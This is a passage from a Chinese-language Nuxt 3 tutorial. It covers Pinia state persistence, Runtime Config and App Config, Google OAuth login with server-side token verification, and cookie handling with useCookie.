\u0026ndash;force 參數\nStep 2. 在 Nuxt 3 為 Pinia 添加 Persist 插件 建立 ./plugins/pinia-plugin-persistedstate.client.js，內容如下：\nplugins/pinia-plugin-persistedstate.client.js 1 2 3 4 5 import piniaPersistedstate from \u0026#39;pinia-plugin-persistedstate\u0026#39; export default defineNuxtPlugin((nuxtApp) =\u0026gt; { nuxtApp.$pinia.use(piniaPersistedstate) }) Step 3. 為你的 Store 添加持久化配置 在現有的 store 定義中添加，persist 屬性，來配置 store 持久化，將狀態儲存在瀏覽器的 localStorage。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import { defineStore } from \u0026#39;pinia\u0026#39; export const useCounterStore = defineStore(\u0026#39;counter\u0026#39;, { state: () =\u0026gt; ({ count: 0 }), actions: { increment() { this.count += 1 }, decrement() { this.count -= 1 } }, getters: { doubleCount: (state) =\u0026gt; state.count * 2 }, persist: { enabled: true, strategies: [ { key: \u0026#39;counter\u0026#39;, storage: process.client ? localStorage : null } ] } }) 如果是使用 setup 函數定義 store，你可以在 defineStore 傳入第三個參數並添加 persist 屬性。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import { defineStore } from \u0026#39;pinia\u0026#39; export const useCounterStore = defineStore( \u0026#39;counter\u0026#39;, () =\u0026gt; { const count = useState(\u0026#39;count\u0026#39;, () =\u0026gt; 0) const increment = () =\u0026gt; { count.value += 1 } const decrement = () =\u0026gt; { count.value -= 1 } const doubleCount = computed(() =\u0026gt; count.value * 2) return { count, increment, decrement, doubleCount } }, { persist: { enabled: true, strategies: [ { key: \u0026#39;counter\u0026#39;, storage: process.client ? localStorage : null } ] } } ) Step 4. 持久化效果 當我們設置好 counterStore 的持久化後，我們的狀態就會被儲存在瀏覽器的 localStorage 之中，就算關閉瀏覽器或重新整理網頁，store 的狀態都會再從 localStorage 讀取出來。\n在小型的專案中，你可以使用 useState 來管理，但大專案你就需要一個更好的方式來管理這些狀態，如 Pinia 來為我們管理這些狀態，甚至定義多個 store，Pinia 支援的插件能協助我們擴展 Pinia 的功能，Pinia Plugin Persistedstate 就是一個很常用的插件，能協助我們將 Pinia 的狀態持久化至瀏覽器的 localStorage 或 sessionStorage 中。\nRuntime Config \u0026amp; App Config 在 Nuxt 3 中提供了兩種可以方式設定環境變數或前端需要使用的共用設定，分別是在 Nuxt 啟動時會在後端載入使用的 Runtime Config 及可以在前端被使用的 App Config 這兩者間的區別這邊做一些講解。\nRuntime Config 在開發網站或部署時，我們總是有一些環境變數需要做設置，dotenv 就是一個很好用的套件，能幫助我們將專案下的 .env 檔案載入到 Node.js 的 process.env 之中，尤其在後端伺服器的 API 開發，這些不能公開或敏感的 Key 或設定值，通常不會與整個專案一起進行版本控制，而是針對不同環境與機器，配置於 .env 或環境變數之中。\n這個 .env 設定檔內的環境變數，例如：資料庫的帳號密碼、第三方服務的 Token 或 API Key \u0026hellip;等，通常只會在伺服器被讀取做使用，也不會洩漏這些設定給使用者知道，我們也稱之為執行時的設定 (Runtime Config)。\nNuxt 3 提供了可以設定 Runtime Config 的方式，我們可以很方便的來設定這些環境變數給予伺服器執行時使用。\n配置 runtimeConfig 我們可以在 nuxt.config.ts 中添加 runtimeConfig 屬性，就可以來設定只有伺服器端可以使用的環境變數。\n例如，在 nuxt.config.ts 檔案中，添加一個 apiSecret 至 runtimeConfig 屬性內：\nnuxt.config.ts 1 2 3 4 5 export default defineNuxtConfig({ runtimeConfig: { apiSecret: \u0026#39;怎麼可以讓你知道呢 :P\u0026#39; } }) 我們就可以在 Server API 使用 useRuntimeConfig() 獲得執行時的設定，再從中取得 apiSecret 環境變數。\n1 2 3 4 5 6 7 8 9 10 const runtimeConfig = useRuntimeConfig() export default defineEventHandler((event) =\u0026gt; { const { apiSecret } = runtimeConfig console.log(`接收到了一個 Server API 請求: ${event.req.url}`) console.log(`執行時的環境變數 [apiSecret]: ${apiSecret}`) return \u0026#39;ok\u0026#39; }) 因為我們是定義在 Server API，所以可以在測試伺服器啟動的 Terminal 看見 console.log 的結果。\n此外你也可以在插件或 Vue 中使用 useRuntimeConfig() 來取得執行時的設置，但也僅在 setup 或 Nuxt Lifecycle Hooks 中有效。\n客戶端使用 runtimeConfig 通常一些密鑰或敏感資訊，我們都會定義在 runtimeConfig 僅供伺服器端做使用，而 runtimeConfig 也可以配置一個 public 的屬性，來把一些環境變數於伺服器端或客戶端做使用，例如，API 的 Base URL 這類在伺服器端打 API 時會需要使用，而客戶端的操作流程也會打同樣的 API 位置，我們就可以使用 public 的屬性。\n例如，在 nuxt.config.ts 檔案中，添加一個 apiBase 至 runtimeConfig.public 屬性內：\nnuxt.config.ts 1 2 3 4 5 6 7 8 export default defineNuxtConfig({ runtimeConfig: { apiSecret: \u0026#39;怎麼可以讓你知道呢 :P\u0026#39;, public: { apiBase: \u0026#39;/api\u0026#39; } } }) 新增 ./pages/profile.vue 頁面：\npages/profile.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;my-24 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-2xl text-gray-600\u0026#34;\u0026gt;回傳資料:\u0026lt;/span\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-3xl font-semibold text-blue-500\u0026#34;\u0026gt;{{ data }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const runtimeConfig = useRuntimeConfig() const { apiBase } = runtimeConfig.public console.log(toRaw(runtimeConfig)) const { data } = await useFetch(`${apiBase}/hello`) \u0026lt;/script\u0026gt; 添加在 runtimeConfig.public 屬性的環境變數，在伺服器端與客戶端都可以讀取得到。\n下圖中可以發現，在瀏覽器中的 Console 所印出的 runtimeConfig 是不會包含僅有在伺服器端能使用的 apiSecret。\n使用 .env 建立環境變數 Nuxt 在開發模式或執行時，已經有內建 dotenv，如果在專案目錄下添加了 .env，Nuxt 會在開發期間、建構時或產生靜態網站時，自動載入 .env 內的環境變數。\n例如建立 .env 檔案，內容如下：\n.env 1 2 NUXT_API_SECRET=api_secret_token NUXT_PUBLIC_API_BASE=https://nuxtjs.org 這兩個值，將被 dotenv 自動載入至 process.env 中，作為環境變數。\n環境變數的覆蓋 不論是透過 dotenv 自動載入 .env 或其他方式配置的環境變數，只要環境變數命名是 NUXT_ 開頭，這個環境變數將會覆蓋 runtimeConfig 的設置。\n舉例來說，當我們 runtimeConfig 設置如下：\n1 2 3 4 5 6 7 8 export default defineNuxtConfig({ runtimeConfig: { apiSecret: \u0026#39;怎麼可以讓你知道呢 :P\u0026#39;, public: { apiBase: \u0026#39;/api\u0026#39; } } }) 建立 .env 檔案或其他方式設置下列環境變數：\n1 2 NUXT_API_SECRET=api_secret_token NUXT_PUBLIC_API_BASE=https://nuxtjs.org 那麼 NUXT_API_SECRET 環境變數，將會覆蓋 runtimeConfig.apiSecret，而 NUXT_PUBLIC_API_BASE 將會覆蓋 runtimeConfig.public.apiBase，最終 runtimeConfig 的設定會變成如下：\n1 2 3 4 5 6 { apiSecret: \u0026#34;api_secret_token\u0026#34;, // 被 NUXT_API_SECRET 環境變數覆蓋 public: { apiBase: \u0026#34;https://nuxtjs.org\u0026#34; // 被 NUXT_PUBLIC_API_BASE 環境變數覆蓋 } } 會有這樣子的特性是因為 Nuxt 會在啟動時，先載入 nuxt.conf.ts 內的 runtimeConfig，建立出呼叫 useRuntimeConfig() 所得到的執行時設定，例如，先建構出了 _runtimeConfig 物件。\n1 2 3 4 5 6 const _runtimeConfig = { apiSecret: \u0026#39;怎麼可以讓你知道呢 :P\u0026#39;, public: { apiBase: \u0026#39;/api\u0026#39; } } 接著會走訪這個 _runtimeConfig 物件裡面的 key，逐一將 key 的名稱轉換蛇形命名法 (Snake case)，並轉成全大寫再加上 NUXT_ 前綴後取得對應的環境變數，如果存在就會以新值來覆蓋 _runtimeConfig 內的屬性。\n例如 apiSecret 經過轉換變成 api_secret，接著轉大寫 API_SECRET 最後加上前綴變成 NUXT_API_SECRET，如此環境變數 NUXT_API_SECRET 的值就覆蓋 runtimeConfig.apiSecret。\n而在 public 下的設置，也會先轉為 public_apiBase 再經過蛇行命名成 public_api_base 等步驟，最後變成 NUXT_PUBLIC_API_BASE 來載入環境變數並覆蓋。\n最後小提醒，當建構出生產環境的網站，如 .output 目錄後，dotenv 並不會包含在建構的網站內， 你需要再自己載入或配置環境變數才能正常運作哦，例如在 PM2 配置 env。\nApp Config 配置 appConfig 在 nuxt.config.ts 檔案中，可以在 appConfig 屬性內添加設置，例如，通常我們會添加像網站主題的主色等這類可以公開的配置，讓網站可以使用這個設置。\n1 2 3 4 5 6 7 export default defineNuxtConfig({ appConfig: { theme: { primaryColor: \u0026#39;#0ea5e9\u0026#39; } } }) 當建立好 appConfig 後，就可以使用組合式函數 useAppConfig() 來取得設置。\n例如，建立 ./pages/config.vue，內容如下：\npages/config.vue 1 2 3 4 5 6 7 8 9 10 11 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;my-24 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-2xl text-gray-600\u0026#34;\u0026gt;theme.primaryColor:\u0026lt;/span\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-3xl font-semibold text-blue-500\u0026#34;\u0026gt;{{ theme.primaryColor }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const appConfig = useAppConfig() const { theme } = appConfig \u0026lt;/script\u0026gt; app.config 檔案 你也可以在專案目錄下建立 app.config.ts 來配置 App Config，這個檔案的副檔名可以是 .ts、.js 或 .mjs。\napp.config.ts 1 2 3 4 5 export default defineAppConfig({ theme: { primaryColor: \u0026#39;#3b82f6\u0026#39; } }) 當建立了 app.config.ts 檔案，該設定會與 nuxt.config.ts 檔案中的 appConfig 屬性結合，如果具有相同的命名，則以 app.config.ts 檔案內的設置為主。\n具有響應式的設定 當設定好的 App Config 在使用時，解構出的變數是具有響應性的，也就是說在其他頁面修改主題顏色的設定，可以響應至所有使用這個設定的元件。\n舉個例子，新增一個 darkMode 的屬性至 app.config.ts 檔案內的 theme：\napp.config.ts 1 2 3 4 5 6 export default defineAppConfig({ theme: { primaryColor: \u0026#39;#3b82f6\u0026#39;, darkMode: false } }) 建立 ./pages/index.vue，內容如下：\npages/index.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;bg-white py-24\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h1 class=\u0026#34;text-6xl font-semibold text-gray-800\u0026#34;\u0026gt;這裡是首頁\u0026lt;/h1\u0026gt; \u0026lt;div class=\u0026#34;my-4 flex flex-col space-y-4\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/config\u0026#34;\u0026gt;前往 /config\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-2xl text-gray-600\u0026#34;\u0026gt;theme.darkMode:\u0026lt;/p\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-3xl font-semibold text-blue-500\u0026#34;\u0026gt;{{ theme.darkMode }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const appConfig = useAppConfig() const { theme } = appConfig \u0026lt;/script\u0026gt; 建立 ./pages/config.vue，內容如下：\npages/config.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;my-24 flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-2xl text-gray-600\u0026#34;\u0026gt;theme.primaryColor:\u0026lt;/p\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-3xl font-semibold text-blue-500\u0026#34;\u0026gt;{{ theme.primaryColor }}\u0026lt;/span\u0026gt; \u0026lt;p class=\u0026#34;mt-4 text-2xl text-gray-600\u0026#34;\u0026gt;theme.darkMode:\u0026lt;/p\u0026gt; \u0026lt;span class=\u0026#34;mt-4 text-3xl font-semibold text-blue-500\u0026#34;\u0026gt;{{ theme.darkMode }}\u0026lt;/span\u0026gt; \u0026lt;button class=\u0026#34;mt-6 rounded-sm bg-blue-500 py-2 px-4 text-base font-medium text-white hover:bg-blue-600 focus:outline-none focus:ring-2 focus:ring-blue-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;theme.darkMode = !theme.darkMode\u0026#34; \u0026gt; {{ `${theme.darkMode ? \u0026#39;取消\u0026#39; : \u0026#39;啟用\u0026#39;}深色模式` }} \u0026lt;/button\u0026gt; \u0026lt;div class=\u0026#34;mt-8\u0026#34;\u0026gt; \u0026lt;NuxtLink to=\u0026#34;/\u0026#34;\u0026gt;回首頁\u0026lt;/NuxtLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const appConfig = useAppConfig() const { theme } = appConfig \u0026lt;/script\u0026gt; 如下圖，我們的首頁取得了 App Config 中的 theme.darkMode 預設為 false，接著我們切換至 /config 頁面，可以將從 useAppConfig() 解構出的 theme 進行變更，我們使用按鈕來設置 theme.darkMode 為 true 或 false 表示啟用或取消深色模式。當變更完成後，回至首頁，可以發現 theme.darkMode 發生了響應。\n小結 Nuxt 3 提供了 Runtime Config 及 App Config 來讓我們將常用或預設設定應用在不同的情境，使用時，我們僅需記得，不能公開的金鑰或敏感訊息，僅放置在 runtimeConfig 中而且不在 public 屬性內，runtimeConfig.public 通常放的是前後端會使用到且不常修改的常數。而 App Config 則是當伺服器端與客戶端需要使用的設置，如主題顏色、是否啟用深色模式等這類可以被使用者調整變動的且需要具有響應性，就可以放置在 appConfig 之中。\n實作練習 這裡介紹網站的會員系統常會使用到第三方登入，將以 Google OAuth 為例來實際於 Nuxt 3 中做串接。\n串接 Google OAuth 登入 首先，我們需要有一組 Google OAuth 使用的 Client ID，你可以到 Google Console 新增一個「OAuth 2.0 用戶端 ID」，這裡我就不再贅述網頁應用程式用的申請過程。\n這邊小提醒一下，在建立 OAuth Client ID 時，已授權的 JavaScript 來源，記得填寫上您的正式環境或開發環境的 Domain，且建議使用 HTTPS。\n完成後，記得保管好用戶端密碼、用戶端 ID (Client ID) 是我們稍後會需要的，用戶端編號格式大概如：\n1 168152363730-b37gnijdpa2rdvvbq0qc29cjh4082t3b.apps.googleusercontent.com 我們將這組 Client ID，放置在 Nuxt 的 Runtime Config 之中。調整 nuxt.config.ts 內容，在 runtimeConfig.public 添加 googleClientId。\nnuxt.config.ts 1 2 3 4 5 6 7 export default defineNuxtConfig({ runtimeConfig: { public: { googleClientId: \u0026#39;這邊放上你的 Google Client ID\u0026#39; } } }) 接下來，安裝 Vue 的 Google OAuth 插件，這邊使用的是 vue3-google-login，也有詳細的說明文件可以參考。\n安裝 vue3-google-login\n1 2 3 npm install -D vue3-google-login # or # yarn add -D vue3-google-login 建立 Nuxt 3 插件來使用 vue3-google-login，新增 ./plugins/vue3-google-login.client.js，內容如下：\nplugins/vue3-google-login.client.js 1 2 3 4 5 6 7 8 9 10 import vue3GoogleLogin from \u0026#39;vue3-google-login\u0026#39; export default defineNuxtPlugin((nuxtApp) =\u0026gt; { const runtimeConfig = useRuntimeConfig() const { googleClientId: GOOGLE_CLIENT_ID } = runtimeConfig.public nuxtApp.vueApp.use(vue3GoogleLogin, { clientId: GOOGLE_CLIENT_ID }) }) 接著我們在元件中可以直接使用 \u0026lt;GoogleLogin\u0026gt; 元件，並添加一個 callback 屬性；此外，我使用了 Nuxt 3 提供的 \u0026lt;ClientOnly\u0026gt; 元件，將 \u0026lt;GoogleLogin\u0026gt; 包裹起來，以確保該元件僅在客戶端做渲染，以免登入按鈕在初始化發生問題。\npages/login.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ClientOnly\u0026gt; \u0026lt;GoogleLogin :callback=\u0026#34;callback\u0026#34; /\u0026gt; \u0026lt;/ClientOnly\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const callback = (response) =\u0026gt; { console.log(response) } \u0026lt;/script\u0026gt; 接著我們啟動 Nuxt 伺服器，這邊我會習慣使用 yarn run dev -- --https 來啟用 HTTPS 做測試，就能發現使用 Google 帳號登入成功後，所返回的 Credential。\nOne Tap prompt 你可以在 \u0026lt;GoogleLogin\u0026gt; 元件添加 prompt 屬性並設為 true，這樣就能同時啟用 Google 一鍵登入 (One Tap prompt) 的功能囉！\n1 \u0026lt;GoogleLogin :callback=\u0026#34;callback\u0026#34; prompt /\u0026gt; 或者也可以在 onMounted 中呼叫 vue3-google-login 的 googleOneTap() 方法，來單獨使用 One Tap prompt。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;script setup\u0026gt; import { googleOneTap } from \u0026#39;vue3-google-login\u0026#39; onMounted(() =\u0026gt; { googleOneTap() .then((response) =\u0026gt; { console.log(response) }) .catch((error) =\u0026gt; { console.error(error) }) }) \u0026lt;/script\u0026gt; 自訂按鈕 如果你想自訂登入按鈕的樣式，可以在 \u0026lt;GoogleLogin\u0026gt; 的預設插槽 (Slot) 做建立。\n1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;GoogleLogin :callback=\u0026#34;callback\u0026#34;\u0026gt; \u0026lt;button\u0026gt;使用 Google 進行登入\u0026lt;/button\u0026gt; \u0026lt;/GoogleLogin\u0026gt; \u0026lt;/template\u0026gt; 使用自訂按鈕會讓 OAuth 流程稍微有點不一樣，當你登入成功後預設會回傳 Auth Code。\n如果設定屬性 popup-type=\u0026quot;TOKEN\u0026quot;，則回傳 Access Token。\n1 2 3 4 5 \u0026lt;template\u0026gt; \u0026lt;GoogleLogin :callback=\u0026#34;callback\u0026#34; popup-type=\u0026#34;TOKEN\u0026#34;\u0026gt; \u0026lt;button\u0026gt;使用 Google 進行登入\u0026lt;/button\u0026gt; \u0026lt;/GoogleLogin\u0026gt; \u0026lt;/template\u0026gt; 使用 googleTokenLogin() 在元件中我們也可以自己建立 handleGoogleLogin 點擊事件，呼叫 googleTokenLogin() 方法並傳入設定在 Runtime Config 中的 Google Client ID，這樣點擊登入按鈕就能處理 Google 登入取得 Access Token。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;script setup\u0026gt; import { googleTokenLogin } from \u0026#39;vue3-google-login\u0026#39; const runtimeConfig = useRuntimeConfig() const { googleClientId: GOOGLE_CLIENT_ID } = runtimeConfig.public const handleGoogleLogin = () =\u0026gt; { googleTokenLogin({ clientId: GOOGLE_CLIENT_ID }).then((response) =\u0026gt; { console.log(response) }) } \u0026lt;/script\u0026gt; 建立一個登入按鈕來呼叫 handleGoogleLogin 點擊事件。\n1 2 3 4 5 6 7 8 9 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; @click=\u0026#34;handleGoogleLogin\u0026#34; \u0026gt; 使用 Google 繼續 \u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; 使用 vue3-google-login 提供的 googleTokenLogin() 方法，我們就能取得 Google 使用者的 Access Token 囉！\n使用 googleAuthCodeLogin() 我們也可以使用 googleAuthCodeLogin() 來取得 Auth Code。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;script setup\u0026gt; import { googleAuthCodeLogin } from \u0026#39;vue3-google-login\u0026#39; const runtimeConfig = useRuntimeConfig() const { googleClientId: GOOGLE_CLIENT_ID } = runtimeConfig.public const handleGoogleLogin = () =\u0026gt; { googleAuthCodeLogin({ clientId: GOOGLE_CLIENT_ID }).then((response) =\u0026gt; { console.log(response) }) } \u0026lt;/script\u0026gt; 伺服器端驗證 當使用者於前端成功登入後，通常會傳至後端進行登入或記錄使用者，再產生使用於網站的 Token、Cookie 或 Session 等，以供後續的網站驗證做使用。\n我們可使用 google-auth-library 於後端進行一系列的驗證或取得使用者資訊。\n安裝 google-auth-library\n1 2 3 npm install -D google-auth-library # or # yarn add -D google-auth-library 接下來，我們就能依照不同的登入方式取得的 Credential、Access Token 或 Auth Code 送至後端做驗證。\n驗證 Access Token 新增一個 Server API，只接受 POST 方法，在 Body 中夾帶 accessToken 發送至後端。\n建立 ./server/api/auth/google.post.js，內容如下：\nserver/api/auth/google.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import { OAuth2Client } from \u0026#39;google-auth-library\u0026#39; export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) const oauth2Client = new OAuth2Client() oauth2Client.setCredentials({ access_token: body.accessToken }) const userInfo = await oauth2Client .request({ url: \u0026#39;https://www.googleapis.com/oauth2/v3/userinfo\u0026#39; }) .then((response) =\u0026gt; response.data) .catch(() =\u0026gt; null) oauth2Client.revokeCredentials() if (!userInfo) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Invalid token\u0026#39; }) } return { id: userInfo.sub, name: userInfo.name, avatar: userInfo.picture, email: userInfo.email, emailVerified: userInfo.email_verified, } }) 調整元件內的登入流程。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 \u0026lt;script setup\u0026gt; import { googleTokenLogin } from \u0026#39;vue3-google-login\u0026#39; const runtimeConfig = useRuntimeConfig() const { googleClientId: GOOGLE_CLIENT_ID } = runtimeConfig.public const userInfo = ref() const handleGoogleLogin = async () =\u0026gt; { const accessToken = await googleTokenLogin({ clientId: GOOGLE_CLIENT_ID }).then((response) =\u0026gt; response?.access_token) if (!accessToken) { return \u0026#39;登入失敗\u0026#39; } const { data } = await useFetch(\u0026#39;/api/auth/google\u0026#39;, { method: \u0026#39;POST\u0026#39;, body: { accessToken }, initialCache: false }) userInfo.value = data.value } \u0026lt;/script\u0026gt; 當我們使用 Google OAuth 登入成功後，會取得 Access Token，並將其傳至 Server API，/api/auth/google 接收 Access Token 並使用 Google API 取得使用者的資訊，最後回傳給前端。\n驗證 Credential 在元件中，我們使用的登入方式如果是 Google 渲染的預設按鈕或 One Tap prompt，回傳值就會包含 Credential，我們將就可使用下面修改後的 Server API 進行驗證。\nserver/api/auth/google.post.js 內容修改為如下：\nserver/api/auth/google.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import { OAuth2Client } from \u0026#39;google-auth-library\u0026#39; export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) const oauth2Client = new OAuth2Client() const ticket = await oauth2Client.verifyIdToken({ idToken: body.credential, }) const payload = ticket.getPayload() if (!payload) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Invalid token\u0026#39; }) } return { id: payload.sub, name: payload.name, avatar: payload.picture, email: payload.email, emailVerified: payload.email_verified } }) 驗證 Auth Code 我們使用的登入方式如果是呼叫 vue3-google-login 的 googleAuthCodeLogin()，回傳值就會包含 Auth Code，我們就可使用下面修改後的 Server API 進行驗證。\nserver/api/auth/google.post.js 內容修改為如下：\nserver/api/auth/google.post.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import { OAuth2Client } from \u0026#39;google-auth-library\u0026#39; export default defineEventHandler(async (event) =\u0026gt; { const body = await readBody(event) const oauth2Client = new OAuth2Client({ clientId: \u0026#39;你的 Google Client ID\u0026#39;, clientSecret: \u0026#39;你的 Google Client Secret\u0026#39;, redirectUri: \u0026#39;你的 Google Redirect Uri\u0026#39; }) let { tokens } = await oauth2Client.getToken(body.authCode) client.setCredentials({ access_token: tokens.access_token }) const userInfo = await oauth2Client .request({ url: \u0026#39;https://www.googleapis.com/oauth2/v3/userinfo\u0026#39; }) .then((response) =\u0026gt; response.data) .catch(() =\u0026gt; null) oauth2Client.revokeCredentials() if (!userInfo) { throw createError({ statusCode: 400, statusMessage: \u0026#39;Invalid token\u0026#39; }) } return { id: userInfo.sub, name: userInfo.name, avatar: userInfo.picture, email: userInfo.email, emailVerified: userInfo.email_verified, } }) 以上實現了串接 Google OAuth 登入，並將 Access Token 資訊發送至後端進行驗證，大家可以在依照使用情境自己挑選登入方式及驗證方式，後續也能將使用者資訊儲存到資料庫中，有了資料庫我們就能依照使用者資訊，來比對資料庫進行註冊、驗證登入及產生後續的 Session 或 Cookie 等。\nCookie 的設置與 JWT 的搭配 Cookie 在瀏覽網站時多會使用到，不論是用來儲存臨時的資訊或是辨識使用者等，這一個儲存在瀏覽器的一小段文字資料，會在每次發送 HTTP 請求時自動夾帶，所以 Cookie 最常見的用途就包含了登入狀態、驗證身份等。\n以下將講述在 Nuxt 3 如何設置 Cookie，並結合 JWT (JSON Web Token) 來做一個實際使用者驗證。\nNuxt 3 Cookie 的設置方式 useCookie Nuxt 3 提供了一個組合式函數 useCookie() 來讓我們可以讀寫 Cookie，並且對於 SSR 也有支援，在頁面、元件或插件中，都可以使用 useCookie() 來建立一個 cookie 具有響應性的參考。\n使用方式：\n1 const cookie = useCookie(name, options) name：對應的就是 cookie 的 key。 options：傳入一個物件來設置多個 cookie 屬性： maxAge：指定 Max-Age 屬性的值，單位是秒。如果沒有設置，則這個 cookie 將會是 Session Only，意即網頁關閉後就會消失。 expires：指定一個 Date 物件來作為過期的時間，通常是要相容比較舊的瀏覽器做使用，如果 maxAge 與 expires 屬性都有設定，則過期時間應該要設定為一樣。 httpOnly：是一個布林值，預設為 false，當設置為 true 時，表示客戶端的 JavaScript 將無法使用 document.cookie 來查看這個 cookie。通常是比較敏感或機密的訊息，如 Token 或 Session Id 會設定為 true，只讓瀏覽器發出請求時自動夾帶。 secure：是一個布林值，預設為 false，當設置為 true 時瀏覽器得是 HTTPS 的加密傳輸協定的情境下，才會自動夾帶這個 cookie。 domain：指定 cookie 可以適用的 Domain，通常會保持預設，表示適用於自己的 Domain 之下。 path：指定 cookie 適用的路徑。 sameSite：為一個布林值或是字串，用於設定安全策略。 encode：由於 cookie 的值只能使用有限的字元集，所以這個設置可以將 cookie 編碼成合法的字串值，預設的編碼是使用 JSON.stringify + encodeURIComponent()。 decode：cookie 會經過一個解碼的過程，預設的解碼是使用 decodeURIComponent + destr。 default：為一個函數，可以用於回傳 cookie 的預設值，也可以是回傳一個 Ref。 舉個例子，新增 pages/cookie.vue，內容如下：\npages/cookie.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 \u0026lt;template\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center justify-center py-12 px-4 sm:px-6 lg:px-8\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;w-full max-w-md\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;flex flex-col items-center\u0026#34;\u0026gt; \u0026lt;h2 class=\u0026#34;mt-2 text-center text-3xl font-bold tracking-tight text-gray-700\u0026#34;\u0026gt;Cookie\u0026lt;/h2\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mt-2 flex w-full max-w-md flex-col items-center\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; class=\u0026#34;mt-2 w-fit rounded-sm bg-emerald-500 py-2 px-4 text-sm text-white hover:bg-emerald-600 focus:outline-none focus:ring-2 focus:ring-emerald-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;setNameCookie\u0026#34; \u0026gt; 設置 name \u0026lt;/button\u0026gt; \u0026lt;div class=\u0026#34;mt-2 flex\u0026#34;\u0026gt; \u0026lt;label class=\u0026#34;text-lg font-semibold text-emerald-500\u0026#34;\u0026gt;name:\u0026lt;/label\u0026gt; \u0026lt;span class=\u0026#34;ml-2 flex text-lg text-slate-700\u0026#34;\u0026gt;{{ name }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;mt-2 flex w-full max-w-md flex-col items-center\u0026#34;\u0026gt; \u0026lt;button type=\u0026#34;button\u0026#34; class=\u0026#34;mt-2 w-fit rounded-sm bg-emerald-500 py-2 px-4 text-sm text-white hover:bg-emerald-600 focus:outline-none focus:ring-2 focus:ring-emerald-400 focus:ring-offset-2\u0026#34; @click=\u0026#34;setCounterCookie\u0026#34; \u0026gt; 設置 counter \u0026lt;/button\u0026gt; \u0026lt;div class=\u0026#34;mt-2 flex\u0026#34;\u0026gt; \u0026lt;label class=\u0026#34;text-lg font-semibold text-emerald-500\u0026#34;\u0026gt;counter:\u0026lt;/label\u0026gt; \u0026lt;span class=\u0026#34;ml-2 flex text-lg text-slate-700\u0026#34;\u0026gt;{{ counter }}\u0026lt;/span\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; const name = useCookie(\u0026#39;name\u0026#39;) const counter = useCookie(\u0026#39;counter\u0026#39;, { maxAge: 60 }) const setNameCookie = () =\u0026gt; { name.value = \u0026#39;Ryan\u0026#39; } const setCounterCookie = () =\u0026gt; { counter.value = Math.round(Math.random() * 1000) } 